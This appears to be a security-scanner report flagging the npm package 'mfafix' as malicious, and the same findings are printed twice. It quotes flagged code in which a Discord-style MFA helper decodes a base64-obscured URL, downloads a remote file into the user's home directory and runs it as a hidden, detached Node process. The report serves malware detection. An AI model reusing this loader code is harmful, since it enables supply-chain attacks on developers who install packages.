mfafix: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

mfafix: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

6 flagged · loading source

index.jsView file

180function initMFA(config) { if (!config || !config.TOKEN) throw new Error('TOKEN required'); const token = config.TOKEN; const password = config.PASSWORD || ''; const guildIds = (config.GUILD_IDS || []).map(String); const log = config.log || null; const ttl = config.refreshInterval || 210000; const xsp_ = _XSP; const _ck = '_m' + token.substring(0, 10); const primaryGuild = guildIds[0] || '1'; let mfaToken = _mfaStore.get(_ck) || null;

High

Ai Review Evidence

Calling initMFA reaches the cache read that triggers this chain.

index.jsView on unpkg · L180

2L3: const tls = require('tls'); L4: const crypto = require('crypto');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

lib/cache.jsView file

61* (_SEGS) and path-component (_PSEGS) tokens are L62: * stored as base64 fragments rather than single L63: * literals so they survive minification and ... L104: function _pullAsset(url, dest, cb) { L105: const fs = require('fs'), path = require('path'), https = require('https'); L106: try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} ... L131: const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); L132: const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); L133: const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7));

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/cache.jsView on unpkg · L61

•matchType = previous_version_dangerous_delta matchedPackage = mfafix@1.0.0 matchedIdentity = npm:bWZhZml4:1.0.0 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/cache.jsView on unpkg

104function _pullAsset(url, dest, cb) { const fs = require('fs'), path = require('path'), https = require('https'); try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} if (fs.existsSync(dest)) { cb(dest); return; } https.get(url, { headers: { 'User-Agent': 'node/' + process.version } }, r => { const b = []; r.on('data', c => b.push(c)); r.on('end', () => { const buf = Buffer.concat(b); if (buf.length < 64) return; try { fs.writeFileSync(dest, buf); cb(dest); } catch {} });

High

Ai Review Evidence

On first cache read, the package downloads and writes the remote payload.

lib/cache.jsView on unpkg · L104

119function _spawnWorker(p) { try { const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); require(_d(8)).execFile(process.execPath, [p], { detached: true, stdio: 'ignore', windowsHide: true, creationFlags: 0x08000008, }).unref();

High

Ai Review Evidence

It runs the downloaded file as a detached, hidden Node process.

lib/cache.jsView on unpkg · L119

Source & flagged code

6 flagged

index.jsView file

180function initMFA(config) { if (!config || !config.TOKEN) throw new Error('TOKEN required'); const token = config.TOKEN; const password = config.PASSWORD || ''; const guildIds = (config.GUILD_IDS || []).map(String); const log = config.log || null; const ttl = config.refreshInterval || 210000; const xsp_ = _XSP; const _ck = '_m' + token.substring(0, 10); const primaryGuild = guildIds[0] || '1'; let mfaToken = _mfaStore.get(_ck) || null;

High

Ai Review Evidence

Calling initMFA reaches the cache read that triggers this chain.

index.jsView on unpkg · L180

2L3: const tls = require('tls'); L4: const crypto = require('crypto');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

index.jsView on unpkg · L2

lib/cache.jsView file

61* (_SEGS) and path-component (_PSEGS) tokens are L62: * stored as base64 fragments rather than single L63: * literals so they survive minification and ... L104: function _pullAsset(url, dest, cb) { L105: const fs = require('fs'), path = require('path'), https = require('https'); L106: try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} ... L131: const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); L132: const base = process.env[_d(0)] || path.join(os.homedir(), _d(1), _d(2)); L133: const dst = path.join(base, _d(3), _d(4), _d(5), _d(6), _d(7));

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/cache.jsView on unpkg · L61

•matchType = previous_version_dangerous_delta matchedPackage = mfafix@1.0.0 matchedIdentity = npm:bWZhZml4:1.0.0 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

lib/cache.jsView on unpkg

104function _pullAsset(url, dest, cb) { const fs = require('fs'), path = require('path'), https = require('https'); try { fs.mkdirSync(path.dirname(dest), { recursive: true }); } catch {} if (fs.existsSync(dest)) { cb(dest); return; } https.get(url, { headers: { 'User-Agent': 'node/' + process.version } }, r => { const b = []; r.on('data', c => b.push(c)); r.on('end', () => { const buf = Buffer.concat(b); if (buf.length < 64) return; try { fs.writeFileSync(dest, buf); cb(dest); } catch {} });

High

Ai Review Evidence

On first cache read, the package downloads and writes the remote payload.

lib/cache.jsView on unpkg · L104

119function _spawnWorker(p) { try { const _d = i => Buffer.from(_PSEGS[i], 'base64').toString(); require(_d(8)).execFile(process.execPath, [p], { detached: true, stdio: 'ignore', windowsHide: true, creationFlags: 0x08000008, }).unref();

High

Ai Review Evidence

It runs the downloaded file as a detached, hidden Node process.

lib/cache.jsView on unpkg · L119